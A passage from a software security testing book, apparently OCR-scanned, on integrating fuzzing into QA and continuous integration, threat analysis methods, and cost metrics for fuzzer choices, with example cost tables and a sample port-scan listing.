Techniques like static analysis, unit testing, integration testing and regression
testing can be applied for every build, but some techniques take longer time to execute
and should be applied less frequently. For these kind of tasks, modern CI systems
allow scheduled jobs. When resource are sparse, these jobs can be scheduled to be
executed at a time when less people are using those resources, like during weekends
or after working hours.

As model-based fuzzers in particular can be extremely flexible in testing specific
areas of the input space, the test automation can target those areas in daily build
tests that would otherwise take weeks to execute later in the development cycle.
Advanced CI automation can separate different types of fuzzing activities depend-
ing on the time allocated for the tests: targeted element or message specific tests in
daily tests, more generic protocol layer tests in weekly runs, and more complete tests
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for the entire attack surface in monthly tests. An example of running fuzzers as a
part of CI system can be found in Section 7.8.2, presenting Google’s ClusterFuzz.

Summary

In this chapter, we have given an overview of testing approaches that can be useful
to you when integrating security testing and specifically fuzzing into a standard
quality assurance process. Both quality assurance and testing are traditionally
feature-oriented approaches, in which the purpose is to validate that the software
works according to the specifications. Security is an abstract term that means dif-
ferent things to different people. Security has been seen as an add-on by software
development. The main difference to testing is that security testing does not aim to
prove that the software is secure but to break software by whatever means available.

Various testing approaches are used at different phases of the software develop-
ment life cycle. White-box testing can benefit from the availability of the source code.
Black-box testing, on the other hand, relies on the external interfaces in the testing.
Gray-box testing is a combination of these approaches. Testing also has different
purposes. Conformance testing validates the functionality, whereas performance
testing tries to find the performance limitations by testing the software with extreme
loads. Various other testing approaches, such as interoperability testing and regres-
sion testing, aim at proving that the software is able to work with other industry
products and that no previously known flaws are reintroduced to the software.

Testing has to be measurable, and quality assurance practices have used vari-
ous means of validating the quality of the tests themselves. Specification coverage
compares the test efficiency to the specifications that were used to build the tests.
Input space coverage looks at the potential inputs that can be given to the software
and measures the coverage of the tests against those. Interface coverage is a black-
box specific metric that looks at the communication interfaces and the efficiency of
tests to cover them. Finally, code coverage metrics analyze the software and indicate
which parts of the code were touched by the tests.

We concluded the chapter by reviewing the black-box techniques for security
testing. Load testing prepares the QA organization for load-based attacks such as
DDoS attacks. Stress testing looks at the internal threats related to, for example,
low memory resources on embedded devices. Security scanners are not really pro-
active, but are a requirement when you integrate your own system with other off-
theshelf systems and platforms. For example, a flaw left into the operating system
will make all good QA practices void if left undetected. Unit testing is the first place
to introduce fuzzing by testing the smallest components of the software through
the available interfaces. Input fault injection, on the other hand, is already one of
the related technologies to fuzzing, almost a synonym. Syntax testing is a technique
used to test formal interfaces such as protocols, and negative testing approaches
such as robustness testing extend those techniques to fuzzing. Finally, regression
testing builds on top of known flaws in released software trying to prevent the same
flaws from reappearing in later versions of the same software, and CI does the same
within agile development processes where each cycle could be seen as a release of
software, with potential regression in quality.
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Fuzzing Metrics

Fuzzing is not widely used in software development processes, especially in small
companies. Hopefully this will change as people learn the motivation in adding
fuzzing into both software development lifecycle (SDLC) and purchase/evaluation
processes, and understand the metrics from successful fuzzing experiences. The
purpose of this chapter is to look at metrics, why fuzzing is important and how
this can be explained to your management.

One obstacle in introducing fuzzers to your developers could be that most gen-
erally available fuzzing tools are developed by security people for security people,
and hence are hard to use by people who are not security experts. At the very least,
most of the fuzzing tools were not designed with easy inclusion into an SDLC as
a goal. Fortunately, more and more companies are seeing that proactive security
is at its best when integrated to the development process. You cannot test security
into a product; it has to be built in. This sets new requirements for fuzzing tools in
how they integrate with existing development processes. Fuzzer developers need to
focus on how they could improve the available fuzzing tools in such a way that the
industry would also adapt them into their development practices. And with require-
ments, you also need metrics.

Software manufacturers and enterprise customers use both commercial and also
internally built home-grown fuzzing tools, or sometimes outsource the fuzz testing
to a security consultancy. We need to understand how these processes differ. The
major difference between vulnerability analysis (VA)! and quality assurance (QA)
is in the attitude of the testers and in the purpose of the tests.

The practices of vulnerability analysis are more targeted toward defect discovery,
especially when compared to the verification and validation aspects of traditional
quality assurance. The goal or purpose of vulnerability analysis is to study the
completed product for vulnerabilities, using whatever means available. Methods are
typically reactive in nature (i.e., they are based on knowledge of known mistakes
and problems and in reiteration of those attacks in new scenarios). Unfortunately,
the attitude of vulnerability analysis is not to conduct a thorough systematic test,
but to assess a subset of the product and draw conclusions based on those findings.
VA never tries to claim that the product is 100% tested and fault-free. The metrics
related to VA are subjective in nature, based on probabilities or assurance levels.
The quality of the tests in VA is based on the allocated time, tools, and knowledge
base of the people conducting the security analysis. VA processes are difficult to

"Wulnerability assessment is also known as security testing, security assessment, security researching,
bug hunting, or even hacking.
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define, and the results are difficult to measure. VA will sometimes use tools such as
reverse engineering and source-code auditing, as these techniques can potentially
find vulnerabilities that black-box techniques are not capable of finding.

Fuzzing as part of vulnerability analysis can be a true black-box technique,
meaning no source code is needed in the process. Security problems are analyzed
after the product is complete, and the people conducting the assessment are typically
not involved in the development and testing phases of the software development.
The design documents and source code are usually not available in a vulnerability
analysis process. The system under test (SUT) can truly sometimes be a black box
to the security auditor, a device with no methods of instrumenting or monitoring
the internal operation of the device under test (DUT). Security auditors study the
software from a third-party perspective. This tiger-team approach? used in vulner-
ability analysis is similar to the practices used in the military. A team of security
experts (a red team) will masquerade as a hostile party and try to infiltrate the
security of the system with the same tools and techniques real hackers would use.
A study of the vulnerabilities can be done with or without knowing anything about
the internals of the system. Access to source code may improve the results (i.e.,
enable the auditors to discover more vulnerabilities), but at the same time this can
compromise the results, as the findings might be different from what real adversar-
ies would likely find.

In summary, fuzzing as part of VA does not try to verify or validate a system,
but rather attempts to find defects. The goal is to uncover as many vulnerabilities
in the system as possible within a given time frame and to provide a metric of the
security of the system, a security assurance level.

On the other hand, the goal of quality assurance is to follow a standard pro-
cess built around the system requirements and to validate that those requirements
are met in the product. This verification and validation (V&V) aspect of quality
assurance has driven testing into the feature-and-performance-oriented approach
that most people identify it with. Testing in most cases is no longer aiming to find
most flaws in the product, but to validate a predefined criterion for acceptance or
conformance to a set of requirements.

Testing experts such as Boris Beizer have, since at least 1990,3 been proposing
that testers should look back and shift their focus from rote verification and valida-
tion toward true discovery of flaws. Similar to VA, the purpose of testing should also
be to find defects, not to rubber stamp a release. Fortunately, fuzzing as a security
testing technique has emerged to teach this to us the hard way. Any negligence in
finding security flaws is unacceptable, and therefore the need for security has the
potential to change the behavior of testers in QA processes.

Security research is still immature compared to the legacy of research in the
fields of software development and testing. Security researchers should try to learn
from the experiences of computer science. This is especially true in the areas of

2M. Laakso, A. Takanen, J. Réning. “The Vulnerability Process: A Tiger Team Approach to Resolving
Vulnerability Cases.” In Proceedings of the 11th FIRST Conference on Computer Security Incident
Handling and Response. Brisbane, Australia. June 13-18, 1999.

3Boris Beizer. (1990). Software Testing Techniques, 2nd ed. International Thomson Computer Press.
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metrics. In the rest of this chapter we will study metrics and techniques drawn
from both security assessment and quality assurance, but our focus is in analyzing
them from the fuzzing perspective. One of the goals in this book is to propose some
recommendations on how vulnerability assessments could be integrated to quality
assurance to enable the discovery of vulnerabilities earlier in the software life cycle.

Threat Analysis and Risk-Based Testing

To effectively introduce fuzzing into vulnerability analysis processes or quality assur-
ance processes, we need to conduct a careful threat analysis that studies the related
threats, vulnerabilities (or exposures), and the assets that need protecting. Threat
analysis is often identified with security assessment practices, but for our purpose
it is also very similar to the risk assessment process used in risk-based testing. For
quality assurance people, fuzzing is just one additional risk-based testing technique.
For security personnel, fuzzing is just one of the available tools available for elimi-
nating security-related flaws from software. For both, all available options need to
be carefully analyzed to make a decision whether to invest time and resources in
fuzzing and how to apply fuzzing to the development process.

Threat analysis often starts from identifying the security requirements for a
system. A simple division of security requirements could stem from the well-known
set of security goals, namely

1. Confidentiality;
2. Integrity;
3. Availability.

These and other security goals can be specified in a security policy for a spe-
cific network service or for an individual product. The same requirements can
also be studied from a quality perspective. For each security requirement, we can
then analyze:

1. Threat agents and events;
2. Available attacks that these threat agents can execute to realize an event;
3. Potential weaknesses, vulnerabilities, or flaws that these attacks would exploit.

The components of threat analysis mentioned above are assumptions; that is,
all threats, attacks, and vulnerabilities would be impossible to enumerate. But even
a subset of the reality can already provide some level of assurance about the future
probability of an incident against the security goals. Well-defined security goals
or security policies can immediately eliminate some security considerations. For
example, if confidentiality is a nonissue for a specific product, this will immediately
eliminate the need for further threat analysis of attacks and vulnerabilities related
to confidentiality. On the other hand, if availability is of the highest importance,
then it is obvious that DoS-related attacks are extremely relevant to the applica-
tion at hand.
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Threat analysis often just takes an existing risk analysis further and makes the
results more applicable to product development. We will not study the methods
for enumerating risks, but study threat analysis independently from any possible
risk assessment. If a list of threats is already available, it can be used as a starting
point, or it can be used later in the process to verify that all risks were covered with
a second parallel process.

There are many possible methodologies that can be used to perform threat
analysis. The most common techniques are:

1. Threat tree analysis;
2. Threat database search;
3. Ad hoc threat identification.

4.1.1 Threat Trees

Threat tree analysis is similar to a fault tree analysis technique used in hardware
engineering. It is based on a method in which risks are decomposed and charted
into a decision tree.* Threat trees are widely used in risk management and reliability
engineering. The problem with threat trees is that you need to be a security expert
to build and to use them.

Building a threat tree involves identifying a complete set of threats on a high
level, and then introducing more details on how each threat could be realized and
what weaknesses need to be present for the threat to be present. The tree view comes
from the analysis technique. The root of the tree is the highest abstraction level
and defines the threat against a specific asset. Each subsequent abstraction layer
refines the threat, providing more information, becoming a root of a more detailed
subtree. Finally, leaf nodes will provide adequate information for countermeasures
or verification techniques such as fuzzing required to discover the possibility and
to eliminate the threat. Identifying the root causes for the threats often requires
security knowledge, and therefore a threat tree might not be feasible for the design-
ers of the software to build with an adequate level of detail.

The threat tree method is usually the most effective approach if the security
problem and its surrounding environment are both well-defined and understood by
the person conducting the threat analysis. In the context of fuzzing, the problem
with threat trees is that although they help in designing a good piece of software,
they do not necessarily help you at all in building your fuzzer. To some, fuzzing is
just an additional countermeasure in a threat tree. We are not saying that threat
trees are useless for fuzzing—on the contrary! Threat trees help you understand
the risks involved with the application at hand and will help you choose the right
fuzzers for testing a specific application. For example, an authentication bypass or
memory leak issue might not be detected if the fuzzer does not do analysis of the
responses to fuzzed requests.

“Edward Amoroso. (1994). Fundamentals of Computer Security Technology. Upper Saddle River,
NJ: Prentice Hall.
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4.1.2 Threat Databases

Threats in various domains tend to be quite similar, and therefore an existing threat
analysis built for a particular system can be reapplied to other systems in the same
domain. Studies of threats in various domains are available to be used as databases
for threat analysis. The benefit is that the person building the threat analysis can
easily analyze whether that threat will apply to the design of this software, with-
out a deep understanding of the security domain. The disadvantage is that a threat
that is unique to the application being built might be missing from the database,
and therefore, be left out of the analysis. Also, the threat descriptions could be too
abstract to be usable without further understanding on how that threat is realized
in the real world. An example of a bad threat definition is denial of service threat,
something you commonly see in threat analysis documents. Almost any attack can
potentially result in the system crashing or becoming nonresponsive, and binding
the DoS threat to one single failure or flaw can distract attention from other causes
of DoS. Therefore, it is possible that the threat analysis could potentially miss the
most significant weaknesses in the system. The level of detail for each threat in
such a database is critical. Simple search of threats from an existing database, or
enumeration of a list of common threats, may suggest the applicable threats more
efficiently than methodological threat tree analysis, especially when the problem is
defined in general terms applicable to that domain or when the final user environ-
ment is not limited when building that specific component. This applies especially
to software developers who do not have knowledge of the actual environments in
which their products will be used.

As an example, let us examine threats listed in the overview of most critical
Web application risks by The Open Web Application Security Project (OWASP),
depicted in Figure 4.1.° By analysing these threats, we can see that fuzzing could
be applied to detect vulnerabilities from all these threat classes. For example, tools
like Burp Intruder® and OWASP Zed Attack Proxy (ZAP)” use fuzz testing as one
of testing methodologies to reveal these types of vulnerabilities.

4.1.3 Ad Hoc Threat Analysis

Ad hoc threat analysis is a well-suited practice when the goal is to find one weak-
ness in a very short period of time during an assessment. An experienced security
analyst can immediately recognize potential threats in a system, but for a developer
it can be very challenging to think about the application from the perspective of an
attacker. For fuzzing, a simple method for ad hoc threat analysis might be based
on listing the available interfaces in a system to enumerate the attack surface. For
example, Dmitry Chan conducted a UDP port scan against Motorola Q mobile
phone, with the following results:®

SOWASP Top Ten Project https://www.owasp.org/index.php/Category: OWASP_Top_Ten_Project.
Shttps://portswigger.net/burp/intruder.html.
"https://www.owasp.org/images/1/16/ZAPpingTheOwaspTop10.pdf.
8http://blogs.securiteam.com/index.php/archives/853.
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OWASP Top 10 — 2013 (New)

Al-Injection

A2-Broken Authentication and Session Management

A3-Cross-Site Scripting (XSS)

A4-Insecure Direct Object References

A5-Security Misconfiguration

A6-Sensitive Data Exposure

A7-Missing Function Level Access Control

A8-Cross-Site Request Forgery (CSRF)

A9-Using Known Vulnerable Components

A10-Unvalidated Redirects and Forwards

Figure 41 OWASP Top 10 most critical Web application risks in 2013. OWASP has updated this
Top 10 list in 2017.

42/udp open|filtered nameserver
67/udp open|filtered dhcps

68/udp open|filtered dhcpc

135/udp open|filtered msrpc
136/udp open|filtered profile
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
445/udp open|filtered microsoft-ds
520/udp open|filtered route
1034/udp open|filtered activesync-notify
1434/udp open|filtered ms-sql-m
2948/udp open|filtered wap-push

You should note that the result above does not indicate anything about the
real network services implemented in the phone and definitely will have a number
of false positives (i.e., services that are not implemented) and false negatives (i.e.,
missing some of the implemented services). Still, a security analyst working for
the manufacturer can easily narrow down this list to the truly open services and
conduct a detailed threat analysis based on those results. Note that a port scan is
not a full threat analysis method, but merely a tool that can be used as a starting
point in identifying the attack vectors for further analysis of the potential threats
in a system. It is typically the first technique a security analyst will conduct when
starting a technical security audit.

Different threat analysis techniques are useful at different phases. Whereas our
example for the threat analysis of a complete product only applies to later phases
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of the product life cycle, the other discussed techniques such as threat tree analysis
target earlier phases, when the product is not yet ready for practical analysis.

Transition to Proactive Security

A software product life cycle can be considered starting from the requirements col-
lection phase of software development, and ending when the last installation of the
software is retired from use. The software development life cycle is a subset of the
product life cycle. Although various software development models are in use, the
waterfall model can be applied to generalize these phases. After launch, the released
software enters a number of update and maintenance cycles, until it finally is retired
or replaced by a subsequent version of the software. A simplified product life cycle
consists of the following phases:

Predeployment (development):

+ Requirements and design
¢ Implementation

* Development testing

+ Acceptance testing

Postdeployment (maintenance):

+ Integration testing

+ System maintenance

« Update process and regression testing
» Retirement

In contrast, quality assurance aims at improving and measuring the quality of
the system proactively during the software development, the practices in vulner-
ability assessment focus on the discovery of (security) critical flaws in the launched
products. The difference traditionally is only with the test purpose and in the time of
test related to the software life cycle. Vulnerability assessment provides an assurance
metric by thoroughly testing a subset of the system and extrapolating the findings
to the whole system. Fuzzing is useful in both approaches.

Fuzzing should start as early in the product life cycle as possible. Early discov-
ery, and the elimination of the found defects, has clear observable cost-benefits.
The time of the discovery of security flaws is especially critical, because security
flaws discovered after the product launch have significant costs compared to other
defects in software. Companies found to have many postdeployment security bugs
can also gain a bad reputation for lack of security.

The purpose of fuzzing in general is to find security defects. The standard met-
rics of IT operations for up-time, system recovery, and change control can be used
for related security incidents.” Excluding indirect costs such as brand value and

®Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt (pp. 68-73).
Boston: Addison-Wesley.



108 Fuzzing Metrics

reputation, the direct costs related to software vulnerabilities can be divided in at
least the following categories:

1. Cost of discovery of the defects through internal or external audits;
2. Cost of remediation of the flaw in product development and regression testing;
3. Cost of security compromises and downtime, or in some cases direct dam-

age to the failing systems;
4. Cost of patch deployment and other change control related tasks to the
customer systems if already deployed.

4.2.1 Cost of Discovery

Security defects need to be discovered before they can be fixed. The costs related
to the discovery of the flaws depend on the used resources and methodologies.
Security defects are found in all phases of the software lifecycle, from development
until retirement, and different methods are used in the discovery.

The four basic fuzzing-related methods for defect discovery are

* Bug bounty hunters;

« Subcontracted security assessments;
* Internally built fuzzers;

« Commercial fuzzing tools.

The costs associated with the discovery of the flaws are different in these four
methods. A bug bounty hunter can ask for a fixed amount per found defect, whereas
a subcontracted security consultant typically invoices for the spent hours, or per
predefined security assessment project. Internally built testing tools involve develop-
ment, use, and maintenance-related costs. Third-party software (free or commercial)
involves potential initial investment, usage costs (affected by the ease of use of the
products), and future maintenance costs.

We will ignore the costs related to actually fixing the flaws for now and focus on
the cost of discovery. You can try to predict the cost of defect discovery with three
simple metrics, whether third parties or internal people perform the fuzzing process:

+ Time it takes to conduct the tests;
« Number of tests required for adequate test coverage;
* Mean probability of discovering a failure per each test.

The resulting metric from the necessary testing time, number of tests, and the
probability of failure of discovery would indicate the forecasted cost (and after the
project the true cost) per failure. Note that this is different from the cost per bug,
as each failure needs to be verified to be an individual defect in the software dur-
ing the repair process. It is important to separate these, because the actual bugs in
software can be difficult to enumerate while tests are being conducted.

Adding more test automation (such as fuzzing) and processing capabilities will
reduce the test execution time. For a security test bed, you could use a server farm
full of virtual or true computers with an image of the system under test. This can
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be used to drive the number of trials per hour as high as possible. In such a setup
you need to consider costs related to setting up and maintaining the farm of test
targets and the tools required to be certain that all the results are being correctly
captured. Test execution time can depend on the fuzzer. Conducting one million tests
with one tool can take less time than ten thousand tests with another slower tool.

The defect discovery probability indicates the efficiency of the tests. This is really
where the value comes from intelligence in fuzzing. Smart fuzzers bring enormous
value to the testers if the selected tool finds 1,000 tests that crash the software and
200 tests that leak memory, and the additional 10 tests that take 10 times more
processing power from the SUT, but the discovery of those failures only takes
10,000 tests. That would result in a 12.1% failure efficiency. On the other hand, a
fuzzer based on random testing can conduct one million tests, with one thousand
failures, resulting in 0.1% failure efficiency. However, also remember that just cal-
culating the number of failures does not indicate the number of bugs responsible
for those failures. There may only be 20 bugs in the system that can be discovered
with fuzzing. These example calculations for failure and defect efficiency for two
fuzzers are shown in Table 4.1.

Let us next look at the costs related to the choice of tools for fuzzing. Whereas
commercial tools can be immediately available and low-risk for the return of invest-
ment from test efficiency perspective, these tools are sometimes ridiculously expen-
sive compared to hiring someone as a contract programmer to develop your own
fuzzer. If you decide to create your own one-off fuzzer tailored to your exact test-
ing needs, the first decision you need to make is whether to build a smart or dumb
fuzzer. As we’ll see later, it might make sense to build both. One could think that
the obvious answer would be to create a fuzzer that is most likely to yield the most
bugs of any type. Unfortunately, when we start a new fuzzing project, it will be very
difficult to estimate the success rate proactively. In general, if a particular software
product has never been fuzzed before, you will almost always find a significant
number of bugs. But you might be interested in how many flaws you will find with
different types of fuzzers and what type of investment is required.

Before starting any do-it-yourself fuzzing projects, it is important to really ana-
lyze the total cost for all choices. Commercial tools are easily analyzed based on
standard practices in security investments, such as return on security investment,

Table 4.1 Example Calculation of Failure and Defect Efficiencies

Smart Fuzzer Random Fuzzer
Number of tests 10,000 1,000,000
Test execution time 2 hours 20 hours
Number of failures found with tests 1,210 1,210
Failure efficiency 12.1% 0.121%
Failures per hour 605 60.5
Number of defects found with tests 20 20
Defect efficiency 0.2% 0.002%

Defects per hour 10 1
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or ROSI, calculations. Even if it is internally developed, it is still a security invest-
ment. There are many aspects to consider:

1. Which approach finds most individual failures or flaws (or test efficiency):
This is the actual return for the investment in fuzzing. Efficiency of the tests
will be the final measure of how successful the project was, but unfortu-
nately, that is very difficult to predict beforehand. Still, it would be easier
if we could also give a dollar value to efficiency. But what is a good enough
test result for the tool? How many defects were left in the product after the
tests? This question is similar to asking “What is good enough antivirus
software?” You would not survive in the security tools market if your solu-
tion only caught 50% of the issues compared to your competitor.

2. Cost to implement tools (or investment in the tools): This includes the costs
from the work-time to develop the tool, often calculated in man-months.
Note that the person developing the fuzzer might not be your average soft-
ware developer, and his or her time might be taken from crucial security
analysis tasks. Many fuzzer developers think this is a fun task and might
jump into the task without considering the priority against other security
assessment tasks.

3. Time to implement tools (typically zero, if a third-party tool is acquired): In
addition to the actual costs related to development time, fuzzer development
can influence the time it takes to test the product for release, and therefore
delay the launch of the product. Fuzzing can be a part of the final approval
gate for a software release, and therefore, the time it takes to develop testing
tools will delay the release.

The first three metrics represented development costs for the fuzzers themselves.
The rest of the metrics should apply to both internally developed fuzzers, freely
available open source fuzzing frameworks, and commercial fuzzing tools:

1. Time from availability to use (time used to test design and integration):
When a fuzzer framework becomes available, it does not necessarily mean
you can launch your testing activities immediately. Valuable time is often
spent on integrating the tool into an existing testing framework or test bed.
For some interfaces under test, a new tool can be launched immediately
when it becomes available. For some interfaces you need to follow a pro-
cess of collecting data, building fuzzing rules, and finally adding thorough
instrumentation tools into your test bed.

2. Resources needed to test (required manpower to conduct tests): Finally, the
tests are ready to be launched. Different fuzzing techniques have different
needs for the necessary personnel to be present at execution time, and for
the time it takes to conduct test analysis.

3. Time needed to test (again causes delays in the product/service launch):
Different fuzzing techniques have varying test execution times. Some tests
can be executed in a matter of hours, whereas other tests can take several
weeks to run.
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4. Otber costs in the test environment (HW + maintenance people for the test
setup): The costs to test setup can be enormous, especially with fuzzing tools
that have long test execution times. Commercial fuzzing appliances usually
come bundled with all the necessary test equipment. For software-based
solutions, you need to dedicate hardware resources for the test execution.
Maintenance personnel for the test facility are also dedicated costs, but can
also be shared between different test setups.

5. Maintenance costs (is the testing one-off, or is it reusable and maintained):
Finally, fuzzing is not usually a one-off testing process. Fuzzing is also a
critical part of regression testing, and as such needs to be maintained for
the distant future. A proprietary tool developed several years ago might be
impossible to update, especially if the person who developed it is no longer
available to do so. The maintainability of the tests and dedicated resources
for keeping the fuzzing tools up to date are often the main point why people
switch from internally built tools to commercial tools.

There are benefits to each fuzzing approach, and the decision needs to be made
based on your own value estimations. Most metrics can be measured in relation
to financial investment. Some people value time more than others, so it would be
simpler if one could give a dollar value also for time in the equation, for example,
indicating how much a delay of one week in the launch of a product or service will
cost the company.

Finally, as already noted above, the equation ultimately comes down to test
efficiency, time, and costs. For manufacturers, the test efficiency (in test results and
test process) is often much more important than the direct costs. Although the value
of fuzzing is an interesting topic, there are very few public metrics for the costs. It
would be interesting to see how these metrics would apply to various fuzzing proj-
ects that have already been completed.

A quick analysis of the costs for deploying fuzzers for both IKE (Table 4.2)
and FTP (Table 4.3) protocols is given here as an example. Whereas FTP is a very
simple text-based protocol, the IKE protocol is complex and developing a fuzzer
for it requires significantly more time. The metrics used in these calculations were
explained earlier in this section.

The estimates for number of defects are based on our experience with contract
development and on real results from comparing the freely available PROTOS
ISAKMP/IKE fuzzer with tests conducted using the commercial Codenomicon
ISAKMP/IKE robustness test suite against the same ISAKMP implementation.

Cost for developing fuzzers within your own organization is generally lower
than acquiring a contracted fuzzer, because time required for your own employees,
especially for small fuzzing projects, can be shorter than contract time. The calcula-
tions, of course, have to take into account all additional expenses such as employee
benefits. The main problem with internally built tools is that finding and retain-
ing the best security researchers is no easy task, and therefore the defect count can
be estimated to be lower than for contracted work or commercial tools. We have
used an estimate of $2,000 for labor costs, although security researchers can cost
anything from $1,800 up to $4,000 a week. Contract employees often cost more,
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Table 4.2 Example Cost Calculation for IKE Fuzzers

Internally Contractor Commercial

Criteria (IKE fuzzer) Built Developed Open Source Product
Individual flaws found (number) 1 5 4 8

Cost of tools 0 $40,000 0 $10,000
Resources to implement (weeks) 20 8 1 1

Time to implement (weeks) 20 8 2 1
Resources to test (weeks) 1 1 1 1

Time to test (weeks) 1 1 1 1

Other costs in test environment $10,000 $10,000 $10,000 $10,000
Maintenance/year $50,000 $10,000 $50,000 $10,000
Total time (weeks) 21 9 3 2

Total resources (weeks) 21 9 2 2

Cost per work-week $2,000 $2,000 $2,000 $2,000
Total cost $102,000 $78,000 $64,000 $34,000
Cost per defect $102,000 $15,600 $16,000 $4,250

but generally work faster with larger projects, have more experience, and tend to
have more expectations on them. They are easier to find and use temporarily than a
qualified security tester. For our estimate, we have summed the contract hours into
the cost of the tools. Contract work can cost from $3,000 per week up to $10,000
per week, or even more.

Other investment consists of materials such as standard PC and the required
software such as debuggers needed for test analysis. Calculations should include

Table 4.3 Example Cost Calculation for FTP Fuzzers

Internally Contractor Commercial
Criteria (FTP fuzzer) Built Developed Open Source Product
Individual flaws found (number) 10 14 12 16
Cost of tools 0 $15,000 0 $10,000
Resources to implement (weeks) 9 3 1 1
Time to implement (weeks) 9 3 1 1
Resources to test (weeks) 1 1 1 1
Time to test (weeks) 1 1 1 1
Other costs in test environment $5,000 $5,000 $5,000 $5,000
Maintenance/year $20,000 $5,000 $10,000 $10,000
Total time (weeks) 10 4 2 2
Total resources (weeks) 10 4 2 2
Cost per work-week $2,000 $2,000 $2,000 $2,000
Total cost $45,000 $33,000 $19,000 $29,000

Cost per defect $4,500 $2,357 $1,583 $1,812
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necessary office space for the test facility. For free open source tools this might be
the only investment.

There are pros and cons for all available choices, and the best option will depend
on the complexity of the tested interfaces, the software that needs testing, and the
availability of in-house expertise, among many other parameters. One of the main
benefits of commercial tools comes from the maintenance. A commercial fuzzer tool
vendor will ensure future development and updates for a fixed fee that is easy to
forecast and is always lower than dedicated or contracted personnel. A contracted
fuzzer can also be negotiated to come with a fixed maintenance fee. The main
advantage of an in-house development is having complete control over the project
and being able to customize the fuzzer for your specific product.

The pricing of commercial tools can also be difficult to estimate without under-
standing how the world of commercial fuzzers works. Whereas a subscription license
to a Web fuzzer can cost $17,000 a year, a complete protocol fuzzer for telecommuni-
cation interfaces can cost hundreds of thousands of dollars. This (hopefully) depends
on the costs that the fuzzer company needs to cover, and the business opportunity
they see with that product. Development, testing, maintenance, support, product
training, and other related services do not come for free. Still, this is typically an
area where commercial products rule, as they can cover the implementation costs
with a number of sales. A fuzzer that takes several dedicated people to develop
and maintain can reach better test coverage at a fraction of the costs compared to
contracted development. On the other hand, contract developers do not turn down
requests just because they see only a small market opportunity for such a tool,
meaning for very specialized or proprietary protocols, commercial fuzzers will not
be a possibility. It would be interesting to compare the test results of the contract
programmer with the test efficiency of other fuzzer products, but unfortunately
these proprietary tools are not easily available for comparison. There are several
examples in which a person who knows one particular test subject (or protocol)
precisely can use that knowledge to build a more efficient fuzzer for that specific
setup. But, on the other hand, commercial companies doing fuzzers day in and day
out might have more experience and feedback from their customers to improve the
tests as time goes on. Commercially available fuzzers have also usually been verified
to work with as many implementations of the tested interface as possible, which
indicates that they are more likely to work also against any new implementations.
Nevertheless, forecasting the efficiency of a fuzzer is a very difficult task.

In our comparison we have not made a significant difference in the test execu-
tion times. Whereas tests conducted as part of a larger test process can easily take
a week to execute without hurting the overall process, a fuzz test conducted as
part of regression tests can almost never take more than 24 hours to execute. The
requirements set for test automation depend on what you are looking for. How
much time can you dedicate for the test execution? Where do you apply the tests
in your SDLC? And what types of people do you have available? The purposes of
test automation in general are to

+ Reduce time from test to fix;
+ Make testing repeatable;
 Reduce expertise and human error.
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Commercial tools are typically built according to real test automation require-
ments set by commercial customers, and therefore, commercial fuzzers should
integrate easily with existing test execution frameworks (test controllers) and test
subject monitoring tools (instrumentation mechanisms). But it is understandable
that those integration interfaces do not apply to 100% of the users, especially when
the test target is a proprietary embedded device. Therefore, actual integration can
vary from plug-and-play to complex integration projects.

Sometimes an internally built one-off proof-of-concept fuzzer is the best solu-
tion for a security assessment. The total costs involved can be cheaper compared to
commercial tools, but the results may not necessarily be the most effective. That is
to say, a custom fuzzer may be significantly cheaper but miss a few bugs that may
have been found by a commercial fuzzer. It really depends on the priorities of the
project. When making your final decision on the fuzzer project, please remember
the users of the fuzzers. Most of the commercial tools out there are ready to be used
by the average QA person without any changes by the end users, whereas for other
tools there will be almost always constant customization needs. The techniques
used in fuzzers (and explained in later chapters) will influence the easiness of those
changes for various future needs.

From a test automation perspective, the actual usage of the tools varies, as we
will explore in later chapters. Most commercial tools are ready to go in the test
setup in that you can install them and immediately fire them up, giving them an IP
to blast away at. From a QA perspective, you might want a few additional things
to be at your disposal, and therefore, increase the cost of the test environment (tes-
tbed), for example, instrumentation. Various tools can be used to catch the crashes
or other suspicious failures. In fuzzing you need to do this in an automated fashion.
Valgrind'® is an example analysis framework for the Linux platform, and PaiMei/
Pydbg is a great example of this for the Windows platforms, as you can have the
tested application crash, do its core dump, and then respawn the process to con-
tinue with your next test case. After you are finished with the test run, you will
have an accurate picture of where the problems lie. Additional on-host instruments
can monitor thread counts, file handle counts, and memory usage. The problem
with on-host instrumentation is supporting all possible embedded devices and both
commercial and proprietary operating systems used in application platforms. Most
development platforms offer such monitoring in their development environments
and through various debuggers. We will discuss this more in Chapter 6.

4.2.2 Cost of Remediation

In addition to the cost of discovery, we also need to understand the cost of fixing
each bug. After a software vulnerability is found, developers need to go back to
the drawing board and fix the flaw. A flaw found during the design phase is less
costly than a flaw found after the product has been launched. Various attempts at
summarizing the economics of software defects indicate very similar results, and
people only argue about the actual multipliers in the cost increase. Figure 4.2 gives

9For more information on Valgrind, see http://valgrind.org.
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one perspective to the cost increases, based on various studies and especially those
from NIST.

A tool that automatically categorizes the findings during the discovery phase
can reduce the cost of defect elimination. When the person conducting the tests can
immediately see that 10 programming flaws cause the failures, he or she can then
issue fewer reports for those in charge of the repairs. With a fuzzer that is based on
semi-random inputs, you can potentially have 100,000 tests that find something
suspicious. Analyzing all those problems will take more time than just analyzing
ten identified and verified flaws.

Two categories of metrics can apply to the repair process:

* Resources needed to fix the problems (required time from the development
people): After the failures have been analyzed, the developers start their task
in analyzing the bug reports and fixing the flaws. Although there rarely are
any false positives with fuzzing, a common problem with the test results is
that a large number of issues can be caused by a single flaw.

« Time required to fix the found issues (delays to product launch): Adding more
developers to the repair process does not necessarily reduce the total calendar
days spent on repairing the found issues.

4.2.3 Cost of Security Compromises

An important aspect of security is the assurance of service availability and software
reliability. Reliability is measured by up-time and downtime and studies the reasons
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Figure 4.2 The increasing cost of repairing with estimates on the numbers of defects found,
with relation to the development phase where discovered (based on NIST publications).
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for the downtime, or outages. Downtime can be either planned or unplanned and
can be due to change control or third-party involvement, or even an act of god such
as an earthquake. Planned downtime can be due to regular maintenance such as
deploying regularly released security updates or to scheduled activities related to
upgrades and other housekeeping jobs. Security compromises are an example of
unplanned events that are caused by a third party (an attacker), and they often lead
to downtime of a device or a service. But security incidents are not the only reason
for unplanned downtime of critical systems. Other unexpected outages include hard-
ware failures, system failures, and natural disasters. As traditional metrics already
exist for these purposes, they should be applied as metrics to security-related avail-
ability analysis. The metrics used by IT operations personnel study the efficiency
of IT reliability, and these same metrics are applicable to the inability of software
